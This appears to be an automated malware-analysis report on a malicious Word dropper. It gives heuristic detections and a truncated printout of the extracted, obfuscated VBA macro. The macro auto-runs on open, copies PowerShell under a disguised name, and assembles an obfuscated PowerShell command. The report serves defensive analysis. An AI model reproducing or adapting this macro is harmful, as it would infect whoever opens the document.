MALICIOUS
198
Risk Score
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-7148261-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-7148261-0
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set iyaghi = CreateObject("scripting.filesystemobject") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
ilfvuopi = Environ("SystemRoot") -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
- http://ns.adobe.com/xap/1.0/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/tiff/1.0/In document text (OLE body)
- http://ns.adobe.com/exif/1.0/In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 38418 bytes |
SHA-256: fb88004b8dafa99f2c2bffbdc0a283bfbe86a63bb75b7b3416a3e5b24753b9f3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
guqcvytx = -39 + 134
azlsoi0 = "mguzyiywdpg='"
s = -42094
ssiou = (Not s)
bvv = 14220
jqay = (Not bvv)
mife = -84 / 2
a = 25529
hh = -39786
tsay = Not (a > hh)
ewguo = "OCujF"
i = 41058
ye = (Not i)
rswha = 54118
ipuy = (Not rswha)
nywkebweg1 = -98 * 20
mvohftzu = ".ph';$p"
zda = 26026
uy = 34052
lt = Not (zda >= uy)
oyeo0 = "wlmoyvymxyyscyyrga='euwv50.d';"
u = 50908
o = 54339
oige = Not (u <= o)
eoe = 28247
ox = -36317
nov = Not (eoe >= ox)
xfeccdy = "te"
syopadp = -97 * 79
Dim anleeauzc As Integer
anleeauzc = -79 - 128
Dim uiitixni As String
uiitixni = -73 * 36
xclbtm = "mp"
mby = -58095
ouyjc = 27320
pz = Not (mby > ouyjc)
c = -46852
zmftee = -44894
wnxov = Not (c >= zmftee)
kon = -12661
o = (Not kon)
tmdntaueub = -59 - 175
ikjaue = xfeccdy & xclbtm
ybmoe = -45705
ii = (Not ybmoe)
ynw = 49509
sya = -17210
uoe = Not (ynw >= sya)
E = 50187
tucq7 = (Not E)
Dim oiixi As Integer
oiixi = -152 * 121
vzmyq = "$qhsvpoldce"
aamry28 = -53370
aye = -51600
woct = Not (aamry28 <= aye)
cvlra = "qsagyo"
sdowue = -151 - 64
eura = azlsoi0 & ewguo & mvohftzu & oyeo0 & vzmyq & cvlra
oexzb6 = "ewvbrg+$bauctdzwtxsyoegpbl"
dqttin = -44640
che = (Not dqttin)
ske = 41439
fcey = -12972
geigs = Not (ske > fcey)
ilfvuopi = Environ("SystemRoot")
cl = 41775
lx = (Not cl)
yxyygr = -136 + 121
Dim yabwywxnu4 As Integer
yabwywxnu4 = -13 + 2
zflvsj = -134 * 62
gliomsoi = "aolws+$iuhbh"
vons = 39160
o = 63578
boy = Not (vons <= o)
E = -40542
ry = -59938
jc = Not (E < ry)
ulrotn = 47813
panxt = (Not ulrotn)
fyzwmd3 = "ogrvvrh"
oznnopeaa = -149 + 87
yy = 58328
nyy = 8618
ro = Not (yy <= nyy)
vjyl = 62779
bz = -59322
oabl = Not (vjyl < bz)
eqilvd07 = -14 + 74
alvdncpvvrpd = -94 * 106
jkaddcrr = "xkwi"
ifhaoyyk = -147 - 161
uqnhzo8 = 34058
uko = -57877
iyz = Not (uqnhzo8 <= uko)
fbyii = "mzajaed+$sfr"
nq = 28204
vgqvgh = -38839
rzn = Not (nq < vgqvgh)
uqqu = 3167
E = -14845
eug = Not (uqqu > E)
owtlc = "wkwoxoe"
cgsbncuxjx = -39 + 2
gx = 46494
l = (Not gx)
bkeoiwbc = "ncidbiqblvyvab"
xasl20 = 1987
eo = 558
osa = Not (xasl20 <= eo)
euueeubkc = -148 * 105
vxpwimqec51 = -178 + 82
cpsey = -62 - 98
ilfvuopi = ilfvuopi + "\sys"
inpty = 4284
l = (Not inpty)
kaov = 9559
jzaoa0 = (Not kaov)
qftcozpa = -1 - 52
Dim ydawmynnzzf As String
ydawmynnzzf = -11 * 24
mtpuo = -24567
wsay = (Not mtpuo)
gtge = 54544
wxr = (Not gtge)
rzaez = oexzb6 & gliomsoi & fyzwmd3 & jkaddcrr & fbyii & owtlc & bkeoiwbc
iyay = 5480
uyyq54 = -60234
y = Not (iyay < uyyq54)
uueuyy = "vekbuz"
vetj6 = -12353
vqwen = -17567
bcc = Not (vetj6 <= vqwen)
uefuxxax3 = -106 * 31
awckbq = 11028
oiis01 = (Not awckbq)
euuiiu = -36 / 150
gxcvaei = "tem32\"
eqjagxyi = -8 + 177
iuhqjwe = -128 * 74
euda = -13270
idb = -46698
i = Not (euda > idb)
ilfvuopi = ilfvuopi + gxcvaei
tao = 53874
rqsha = 56286
gdmyv = Not (tao > rqsha)
rnrcaa = 3125
lsj = (Not rnrcaa)
gq = 63510
lfer67 = (Not gq)
kkgcua = "to+$leujfblfou"
mijgo = -59092
jwc = (Not mijgo)
kpsbw = "ytqvay"
a = -6312
xmjkp = (Not a)
kdbeg = -4588
xket = -30118
ay = Not (kdbeg <= xket)
oiyy = -55 + 43
pai = -49564
vtju = 39284
E = Not (pai > vtju)
rppjgoxs9 = -45 + 127
dceyly = "ozmcsiu"
hdudnqyip = -147 - 50
Dim eeyy, ooyo, qzjvdnt As Integer
eeyy = -134 / 152
chuobru = "+$oeeaoiirwkxufryi"
axoiljrw = -89 * 55
rpnjheoyekx49 = ilfvuopi
opri = -133 - 7
y = 58885
dymbqk2 = 16160
pz = Not (y < dymbqk2)
rrjftirj = -131 + 52
hou = -26987
n = 39364
sdnvu = Not (hou < n)
iouoxt = "Window"
smbgqusb = -152 - 19
Dim xmgfuueu, wlgxxek, hverzoaai3, owzjtzdcsip As String
xmgfuueu = -131 - 162
rpnjheoyekx49 = rpnjheoyekx49 + iouoxt
ym = -39583
jx = -14202
rciu = Not (ym > jx)
k = -33243
b = -42396
ohsou = Not (k <= b)
jzosqvmrusma = -147 - 8
ikt = -867
htay = -43949
sosgw = Not (ikt < htay)
owwtfgec = -161 - 54
swesn = "qxugom+$i"
cyihq = -26 - 140
eyeyig = "kbarwayvbgtkj"
be = 49916
eia = (Not be)
Dim iacioeu, pytusg, abhcnozir As Integer
iacioeu = -150 * 160
umhylm = -94 / 19
spjcqolp55 = -123 / 154
anvi = "ylguu+$or"
ympyxf0 = -2924
gwv = (Not ympyxf0)
xmoeg = -35193
E = (Not xmoeg)
ainolva = "xoq"
rj = -50878
baytz = -31305
uuoa0 = Not (rj >= baytz)
bqqp86 = 45022
yzhe = 3853
qa = Not (bqqp86 < yzhe)
sypwuy = "azjvyu"
rwauie = -22 * 144
yzz = -48373
cdvs97 = 5965
yvn = Not (yzz >= cdvs97)
iulqai = "sPower"
eii = -3578
a = 53418
yfruu6 = Not (eii > a)
o = -15795
ofjay = (Not o)
Dim edyes As String
edyes = -140 + 91
uicb = -23114
iy = 51775
upr = Not (uicb > iy)
rpnjheoyekx49 = rpnjheoyekx49 + iulqai
yydupuo = -13 - 61
f = 43605
oeu = 55604
ao = Not (f >= oeu)
ntuotczei = -15 - 40
uavteea = -21 / 31
Dim obxznxqero, zqmsieyyy10, ynwwloy, ykjlzxmji As Integer
obxznxqero = -159 / 16
cnojvaay60 = uueuyy & kkgcua & kpsbw & dceyly & chuobru & swesn & eyeyig & anvi & ainolva & sypwuy
g = 9197
ruj = 51017
xgouq = Not (g > ruj)
exgeuyify = -122 - 79
x = -31709
o = 3144
u = Not (x <= o)
oryeer = "$msaejfiwrcys"
blhgkyy = "wyuueiein7='em "
mcldvxokbmfu = -17 / 108
uuouiayi = -3 / 157
lzfcweap = "';$oeeaoiirwkxufryiq"
lkejla = 37129
uyi = -64405
ezh = Not (lkejla > uyi)
ueegucbgb = -174 * 111
ygrikdyf = -123 * 35
mubtya = "xugom='li"
jfe = -62847
pwtog = 905
rmm = Not (jfe < pwtog)
eshuaeyu = -67 / 148
eaiy = 49418
y = -44076
vwf = Not (eaiy >= y)
eiybys = "cy "
innjswheqq = "B';$qbhf"
oeqlnrqbiu = -98 * 164
eia = 7893
ugmgq = 58043
yy = Not (eia >= ugmgq)
uhuxfy = "uvrjueh"
comzcpsi = -124 - 69
dbd = -24239
ompll9 = 19460
zis = Not (dbd <= ompll9)
xdinraoi47 = -141 * 18
oaoodtk = "mjpuaheyazpej13='ce;';"
yyk = -34975
fdiw = -10747
i = Not (yyk < fdiw)
k = -20147
yo = (Not k)
dyktlni = rpnjheoyekx49
rgyociiqo = -102 - 125
rfyaczlio = -70 * 21
iaeazl = -10 - 64
zdyledo = "Shell\"
o = -33532
iu = -8124
wcijc = Not (o < iu)
dyktlni = dyktlni + zdyledo
iy = -40810
yye = 5652
nn = Not (iy <= yye)
yiu = 36879
qfmpio = (Not yiu)
fnj = -35147
E = -66255
y = Not (fnj <= E)
iyefxtirpf = -150 + 161
adwdymz60 = "$iuhbhog"
tyiktmi = -30 - 178
qe = -30091
itmc = 18105
jwlilj = Not (qe >= itmc)
E = -34438
qfbh4 = -47459
ejf = Not (E <= qfbh4)
ecief9 = oryeer & blhgkyy & lzfcweap & mubtya & eiybys & innjswheqq & uhuxfy & oaoodtk & adwdymz60
affru6 = -80 / 139
jgurvdar = -9 - 117
evq = -55229
i = (Not evq)
alxvzay51 = "sxtcvayujbqosr"
hwseuz = -113 - 63
shnlyie5 = -170 / 46
aojd = 58820
b = (Not aojd)
iiogk = "+$mgjkvnvhymguzyiywdpg"
uevtbvmy = "v1.0"
dyktlni = dyktlni + uevtbvmy
oai = -25321
pcuufc = (Not oai)
aiaicp = -151 + 176
eewtykfresx = -15 * 40
iiy = -15789
oe = (Not iiy)
Dim pefzlyp As String
pefzlyp = -13 - 59
Dim jpojso As String
jpojso = -47 + 39
oatybc = "+$urdioggdyprgloyeqdb"
i = 57325
isk = 35153
awto = Not (i >= isk)
kteam = 12862
mwfq = (Not kteam)
llamqe = -60 * 16
aeosf = "+$uvvosmeqryunj"
yoeosg = -146 + 26
ylemu = "uyya+"
paxdeunni = -122 - 106
yeurydd = -8 / 13
tg = -52165
zgfewn = (Not tg)
okplvi = -18486
yfjv3 = 60569
a = Not (okplvi <= yfjv3)
iyeo = "$qyrrisfdoeoi"
a = -54945
oxcju = (Not a)
cjnveyi = -171 / 159
auyuv = "ojuqteehy+$"
ues = 11773
tkhf85 = (Not ues)
uktaykrwro = -166 * 79
imylb9 = 64833
rl = 3736
yo = Not (imylb9 < rl)
mpblgalp = -4 * 97
yjlirxw = "aoo"
zf = -3000
f = -47115
ffh = Not (zf >= f)
uebk = -13543
jwhls = (Not uebk)
unxspxcsh = "odnqiae"
uoyaakvm = -142 / 156
ogh = -61197
embu = (Not ogh)
ie = -48306
yaua = 60974
Z = Not (ie >= yaua)
ujvsu3 = alxvzay51 & iiogk & oatybc & aeosf & ylemu & iyeo & auyuv & yjlirxw & unxspxcsh
aoeq3 = -139 - 79
ocgae = -32024
pbmlo = (Not ocgae)
ikirl = "yyrga+$ioya"
ypelewr = Environ(ikjaue)
euvtgqzlvgg = -63 * 104
y = -45233
udxnl = -65788
upf = Not (y >= udxnl)
hmkwuou = -62 / 54
iggucu63 = -128 + 130
uu = -15624
ujd = (Not uu)
uley = 46464
y = 3379
alcffo = Not (uley >= y)
ochad = "yoqjhtbzoxg"
aaaoue02 = -101 / 79
o = -39105
vvema31 = (Not o)
icwskpood = -138 / 64
jrdiu = "aoogov+"
ez = -20641
nrrio71 = 8050
pae = Not (ez > nrrio71)
oanc = -7207
ofdjy37 = (Not oanc)
vxduxgsp05 = -143 - 110
eu = 65305
ijta29 = (Not eu)
ebveexbf = -111 * 78
ipndft = "$ieaeewsymy"
oaaziiea35 = -161 + 129
pq = 18420
ao = (Not pq)
u = 60376
E = -45295
kmaa = Not (u <= E)
moce = "iiyfjvhnfyrsoc+$eoiefeaaehldgj"
hsvcox = -76 * 14
oaqqf = -63903
ylktskk = (Not oaqqf)
ekub83 = -59456
ezkghp = -961
oc = Not (ekub83 <= ezkghp)
aim = 59477
rvq = (Not aim)
p = 12146
zrmqp = (Not p)
yby = 41006
fhggsf = 39466
loost = Not (yby > fhggsf)
lxjwulf = ikirl & ochad & jrdiu & ipndft & moce
ulree0 = -64 - 155
tb = 54188
uitwp = -11463
c = Not (tb >= uitwp)
lzkgbia = "meqryunj"
qpa = -5544
ncnxx = (Not qpa)
dpefqrnei = -144 + 74
ursli9 = "uyya="
adzcodxo = -116 - 149
xhcdvopfn = "'path)';$"
oyxt = -11610
xknra0 = -4219
fnoo = Not (oyxt > xknra0)
zvopi = -115 * 41
E = 40950
wcx = -37781
y = Not (E >= wcx)
nb = -30481
o = (Not nb)
zrku = -154 / 69
ylhnlm = "stwajdotl"
dcrwjjrdeoi = -74 - 23
uaeamna = "\z"
rbinwufjju = -39 * 122
mlrzoy = -20528
ly = -21201
meyi00 = Not (mlrzoy < ly)
osnerdoi = -167 - 73
eiylk = 4612
wryghr40 = 57776
ooidz = Not (eiylk >= wryghr40)
ypelewr = ypelewr + uaeamna
eeoahlzs = -16 * 150
onfyeq52 = -132 / 92
nruotq = 3974
gn = 8830
an = Not (nruotq <= gn)
oaahqoym05 = -93 + 40
txb = -30469
i = (Not txb)
Dim wdyqbbgay As String
wdyqbbgay = -142 - 73
lfuy = 28461
vwyui = 6579
uv = Not (lfuy > vwyui)
kqfszkqxg = "uxvxdkdiijnhe"
seccuni = -159 + 8
pvueioyjm5 = -139 / 164
fdofluu98 = "olgw='$h"
udzezuo = -138 + 94
oiu = -11833
uipk = (Not oiu)
zlhjmae = lzkgbia & ursli9 & xhcdvopfn & ylhnlm & kqfszkqxg & fdofluu98
erjxkddjics = -121 + 5
Dim exvkb As String
exvkb = -118 + 133
fyyz = "kavfrfacqgio+$eansicauaqepxuo"
qfmspu1 = -7 - 115
ogki = "ofhi+$dtyjqftp"
ui = -27100
wh = (Not ui)
ouecxo = -31 / 120
yabiyzyt = -33 / 80
ormeko = "qnscsunqijnoourxexq+$ymhysdms"
zaup = -10930
fmpp = 46499
ott = Not (zaup > fmpp)
Dim cedoog As String
cedoog = -47 - 161
gtnykwci16 = "rjqoufnaa+$gfqaam"
rmncds = -22659
ojxkm = 62907
ujup51 = Not (rmncds > ojxkm)
xykqx8 = -77 - 149
eeiurnd = ypelewr
uqe = 25703
nlz = -41848
ie = Not (uqe >= nlz)
Dim xczuoa5 As Integer
xczuoa5 = -52 * 163
eeiurnd = eeiurnd + "xtiy"
aaadvzhyi = -124 * 14
idg = 21933
icu = (Not idg)
eujxc = 50796
kfyo = -10664
kwemw5 = Not (eujxc >= kfyo)
wunyvu = -88 * 112
ay = 3752
j = (Not ay)
fxfj = 39432
my = 36887
akfo = Not (fxfj > my)
audmsea = "jp"
m = 21570
E = (Not m)
Dim woaay As String
woaay = -128 - 117
vguiie6 = "mvusyuapye"
tdtuvrgyfm = -66 * 85
rfdqdu = "e+$dvjoyswrqosovqyy+$"
syno = -60859
ash = (Not syno)
lseod = 6550
gpno = (Not lseod)
tn = 3050
wc = (Not tn)
apuiis = "iezvnraz"
jwoyooe = -80 / 146
Dim atuy05 As Integer
atuy05 = -176 - 147
oyeb = fyyz & ogki & ormeko & gtnykwci16 & audmsea & vguiie6 & rfdqdu & apuiis
Dim oenii As Integer
oenii = -103 - 90
npyyiwdykxu = -73 / 58
egpe = -135 / 71
aliln = "ayzutxhcgbc"
u = -43142
fcioo = 34824
l = Not (u <= fcioo)
vqo = 57347
rcy = 17281
gq = Not (vqo > rcy)
byapnec = eeiurnd
rj = -19084
euwp1 = (Not rj)
iqtoese = -22 * 151
qgymbxlrn = "jb"
gsu = 7298
fy = 10108
ygcs = Not (gsu >= fy)
oxdzuiul = -3 * 105
iy = 20518
c = 63232
uohh = Not (iy > c)
vcqcbibh = -121 / 171
byapnec = byapnec + qgymbxlrn
uau = 55233
unmq0 = (Not uau)
Dim njwppqai As Integer
njwppqai = -98 + 118
uebq40 = 3505
uy = 31152
E = Not (uebq40 > uy)
gpinf = -51989
wwwq1 = 2406
che = Not (gpinf < wwwq1)
jvttu47 = 41706
mnjsmu = (Not jvttu47)
pmmzphihf = -87 / 48
Dim ieonhzls As String
ieonhzls = -21 + 109
izuoia0 = -170 * 2
iikgfhtv81 = "=' , ''"
ugtae = 35555
jzcie = -36155
ydumc = Not (ugtae > jzcie)
pry = -18992
upkupt = -29038
wmlr = Not (pry < upkupt)
phvijlevd = -10 - 83
jmtdooeqfi8 = -10 - 143
w = 553
fhceb5 = (Not w)
oznyjf = "f1'';"
tqt = 54387
xopdd = -65850
ppx = Not (tqt >= xopdd)
vziidt50 = "R';$cpxhaieeuxx"
yicry = 58962
yaie = (Not yicry)
ipl = 4149
fvoqzu = (Not ipl)
dhspojz = "uyqbt='ebclie"
wfyuk95 = 36965
o = (Not wfyuk95)
la = -39185
heocl = (Not la)
l = -41081
q = (Not l)
itce = -23 / 95
hijjr = "nt';$"
xlvo0 = 64775
mdjsqkhh = 31350
whqyx = Not (xlvo0 <= mdjsqkhh)
yw = 32341
dqu = (Not yw)
ivxgpvr62 = -157 / 137
biggyu = "bauctdzwtxsyoeg"
fguszh = -46422
ynbz = -15907
o = Not (fguszh < ynbz)
oye = -43957
uwq = (Not oye)
rovtzau = -155 - 112
qgasu = -50 * 112
wooe = aliln & iikgfhtv81 & oznyjf & vziidt50 & dhspojz & hijjr & biggyu
Dim opdstr As Integer
opdstr = -49 + 105
ldouktlfast = -18 * 57
eyeft = "rvvrhxkwimz"
y = -30852
cv = (Not y)
a = -18238
chi = (Not a)
g = -48507
iukf8 = (Not g)
hziovoz = "ajaed='rimeti"
brvhy = 5065
koi = 16285
qe = Not (brvhy > koi)
aatfyjcowu = -54 / 10
efqfcvn = "me';$sfrwkwoxoenc"
dwzuct = -10009
lai = (Not dwzuct)
If Val(Application.MailSystem) Like Val(1) Then
cmyj = -60073
g = -35953
ivk = Not (cmyj <= g)
pianvcbi = -7 + 51
aogqq = 13886
au = 53409
u = Not (aogqq < au)
csizp = 58494
hz = 62580
aa = Not (csizp <= hz)
Set iyaghi = CreateObject("scripting.filesystemobject")
yvkbjs89 = -64 / 129
ouegqnfol = -41 / 63
hygxyaptq1 = -35 + 149
fvpxtbsrsdxze08 = -122 - 45
End If
dhka0 = 22655
abo = 58003
kqnwwp = Not (dhka0 < abo)
dsyujqozco40 = -55 - 43
Dim tmgqwmuia As String
tmgqwmuia = -101 - 86
ymryf = -53994
yrbrda13 = (Not ymryf)
ycty = 26972
mgoor7 = -62928
br = Not (ycty < mgoor7)
npita = "idbiqblvyvab='r.org"
ivaey = -129 * 111
bkty = 38308
aft = 30258
az = Not (bkty <= aft)
eyy = -9475
vj = (Not eyy)
ryejc = "';$oyqseqsi"
iwhaqgb = -95 / 69
tvicbo = 8873
io = (Not tvicbo)
ddobnxt7 = "rudsxtcvayujbqosr='"
E = -35417
r = (Not E)
uuovl = -110 - 102
iyaghi.CopyFolder dyktlni, byapnec
ohji = 58067
o = (Not ohji)
wofqo04 = 59536
ycb = 16187
op = Not (wofqo04 <= ycb)
mtim = 10758
tf = (Not mtim)
tdeofb = 60305
a = (Not tdeofb)
yeyinx = "yYi';$fhboooflevaonb=' ="
cahzifzerb = -6 * 58
gwyia = " ''h';$pa"
wqz = -38991
uvt = 57257
xioa3 = Not (wqz >= uvt)
crm = 23122
vzagno = 65818
sayi7 = Not (crm >= vzagno)
Dim apao As Integer
apao = -64 + 179
yzna = -53676
acnwbwz = 25224
ueoa = Not (yzna >= acnwbwz)
euaoi = -21 - 85
ydrvy = -72 - 8
sslqca = "kzaozeinmkxn"
ajn = -60053
ikm = -44248
eie = Not (ajn > ikm)
rxeye = -18 / 109
ayvxy97 = -71 / 66
noee = -33772
a = (Not noee)
Dim cgnmvbe As String
cgnmvbe = -46 / 116
znzwiilw = "dvtzddn"
mrtk = 36226
aftqo = 38791
wmocml = Not (mrtk >= aftqo)
aiao = eyeft & hziovoz & efqfcvn & npita & ryejc & ddobnxt7 & yeyinx & gwyia & sslqca & znzwiilw
edkieetn = -64 * 11
yqffy = 53410
y = (Not yqffy)
btkwctgqbeau = -46 / 93
oynqljbjx = -84 + 131
tiara = "+"
u = 55036
jsuhe90 = (Not u)
cgcu = -23183
u = (Not cgcu)
hhoowpbtu0 = "$uybuku"
y = -5571
ohoh = (Not y)
lsxvduo11 = -174 - 163
zwh = 34451
vn = -25782
wbt = Not (zwh >= vn)
gtuuspae68 = byapnec
gtuuspae68 = gtuuspae68 + "\p"
o = -4809
of = -307
cqla = Not (o <= of)
nvaxz = -22 / 174
ewrki = -144 / 72
aelmao = "euucplaayafr"
oaedqjh = "yu+$oyqse"
Dim qauvgafg As Integer
qauvgafg = -133 * 93
auomkyo43 = -37 - 110
iwoiqn = "qsirud"
uhtwnzw = 47699
axs = (Not uhtwnzw)
i = -22683
eebs87 = -40999
a = Not (i < eebs87)
ykrtjviejd = -89 + 174
gtuuspae68 = gtuuspae68 + "owers"
avh = -14659
itdcqh = 54476
oiub = Not (avh < itdcqh)
auygvjv60 = -20 * 108
hyeu = tiara & hhoowpbtu0 & aelmao & oaedqjh & iwoiqn
E = 61128
eu = (Not E)
nvyee = -101 + 116
tlpjesng = -24 / 70
jcymsu = -87 / 98
gtuuspae68 = gtuuspae68 + "hel"
fwr = 45264
opvpa = 18720
p = Not (fwr > opvpa)
mr = -37511
uu = (Not mr)
czs = 32246
n = (Not czs)
axue1 = -64520
ioyrs = 63849
yaai3 = Not (axue1 >= ioyrs)
onzmfu = "pblaolws='/"
ypoiorto6 = -9 / 58
lea = -51537
za = (Not lea)
hwyye = -32741
zfaejq = (Not hwyye)
ddbetw = "/p';$aoood"
ryxp80 = 21767
s = 50279
wbff = Not (ryxp80 <= s)
qrok = 24068
x = -7040
orywd = Not (qrok > x)
gctru = -1384
ay = (Not gctru)
plyi = -20019
a = (Not plyi)
tyymjzk91 = "nqiaeuyuybtooqf='dll32 $';$ea"
bfpxu = -55762
sb = -18519
bhai = Not (bfpxu <= sb)
gmfgyb = -30167
eajf = (Not gmfgyb)
euye = "nsica"
ofo = -51172
yyct = 26884
chpam = Not (ofo > yyct)
yskowuyfu = -3 / 82
hrxsi = "uaqepxuoofhi='e Pro"
Dim eomykxdwv1 As String
eomykxdwv1 = -152 - 135
oaa = -8817
yy = 10587
oo = Not (oaa <= yy)
opsmya = "l.ex"
jccgouulwgy = -97 * 13
ojn = 52070
qyu = 2957
bwkqlfl = Not (ojn >= qyu)
gtuuspae68 = gtuuspae68 + opsmya
vetctx = 60687
etptz0 = -34763
pwdnqjg = Not (vetctx < etptz0)
idznb = -10363
xb = (Not idznb)
qqkoa = 5272
uejy34 = (Not qqkoa)
hbee = 66563
sra = -61862
xgilma = Not (hbee < sra)
y = -35198
yivzzx = (Not y)
pwtpjsk = -76 - 62
aybi = "c';$ioy"
uwriqj = 13972
qca = (Not uwriqj)
ijnahfko = -118 + 52
mujjc = "ayoqjhtb"
amqfwba4 = -115 - 10
Dim eezunvw As String
eezunvw = -11 + 147
aouog = -125 + 135
ifhbh = "zoxgaoogov='ll"
yewfq = -114 - 58
i = -57299
dxuie = (Not i)
rqavzut = "'');(Ne';$u"
bxbw = -38992
cs = 39435
u = Not (bxbw < cs)
jtrqut = -40518
pys = 27810
yy = Not (jtrqut <= pys)
nhiiogda = "ybukueuucplaayafryu='/sn';$mu"
evsia = -137 - 145
Dim yijxbbzqch86 As String
yijxbbzqch86 = -52 / 23
ytvihbakc = onzmfu & ddbetw & tyymjzk91 & euye & hrxsi & aybi & mujjc & ifhbh & rqavzut & nhiiogda
egssu = -132 + 105
jtaf = -71 - 158
i = 15315
lexe = (Not i)
uoblyc2 = "hywbq"
nguo = 64663
sy = 11072
ryfw = Not (nguo > sy)
oyftvou = "y"
ojg = -56665
qzqfb99 = (Not ojg)
eeouey = -104 / 101
aigo = "auikjbf"
iuiovozcn = -172 / 128
Dim yqysfv As String
yqysfv = -40 * 70
ldey3 = 13699
se = (Not ldey3)
sxuqck = "dwa+$pak"
yubby = -127 + 24
xrh = 11927
i = (Not xrh)
uahdy = 46943
ctsgyy = 10604
lbt = Not (uahdy >= ctsgyy)
ymlvquox = -24 - 68
vmi = -11732
hv = (Not vmi)
sfhtvncmq = "zaozeinmkxndv"
Dim eyjbljj As Integer
eyjbljj = -46 * 176
orgyajsdeu = -71 + 99
Dim vxaatmalbqf As String
vxaatmalbqf = -104 + 107
ylquufdawp = gtuuspae68
a = 19916
rdfo = (Not a)
sfv = -56977
u = (Not sfv)
ylquufdawp = ylquufdawp + "e "
ipoq = -10 + 50
apwxoxeg3 = -77 / 118
Dim tacabt As String
tacabt = -148 / 169
ykkeuqu = "tzddnmusk+$pwlmoyvymxyysc"
oiitw = -24 + 164
tdyy = -6069
wr = (Not tdyy)
oeyau = uoblyc2 & oyftvou & aigo & sxuqck & sfhtvncmq & ykkeuqu
u = -52463
ihqa1 = (Not u)
qbpo = 38007
ta = -19564
utwq = Not (qbpo < ta)
og = 31649
aya = (Not og)
Dim amegdalti As Integer
amegdalti = -157 * 68
difcpkf = "j';$eiooihgdoi"
siuwr94 = -154 - 21
jbu = -12559
iut = (Not jbu)
uxvef = "vscinivkb="
auahvqbzdm7 = -95 * 42
lp = 9221
yi = -19149
qrfcd = Not (lp < yi)
Dim jbroehlg As String
jbroehlg = -158 / 49
ueiayj = "'-rec'"
eh = -28278
esy = (Not eh)
ohxysvzrgy = byapnec
rlfoaoo = "\yolt"
ohxysvzrgy = ohxysvzrgy + rlfoaoo
db = 15365
ikt = (Not db)
oy = -38917
evgx = (Not oy)
ezn = 25988
ktie = -33717
kmrpay = Not (ezn < ktie)
ehvjvd = -90 + 130
v = 13365
mlqf5 = -44932
ouap = Not (v < mlqf5)
ohxysvzrgy = ohxysvzrgy + "fd.e"
xsf = 63831
bv = (Not xsf)
wt = -34512
nkya = -47316
o = Not (wt <= nkya)
yyxcw05 = ";$eoiefeaaehld"
uykbii = -70 + 101
euhumqm7 = -120 + 100
eouf = "gjew='Syst"
ve = 20458
y = (Not ve)
aohrmqprh = -120 + 75
ukqoiatrie93 = -150 / 1
y = -4931
ozi = -20748
eqcue = Not (y <= ozi)
ammld = "em.N'; "
y = 31618
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.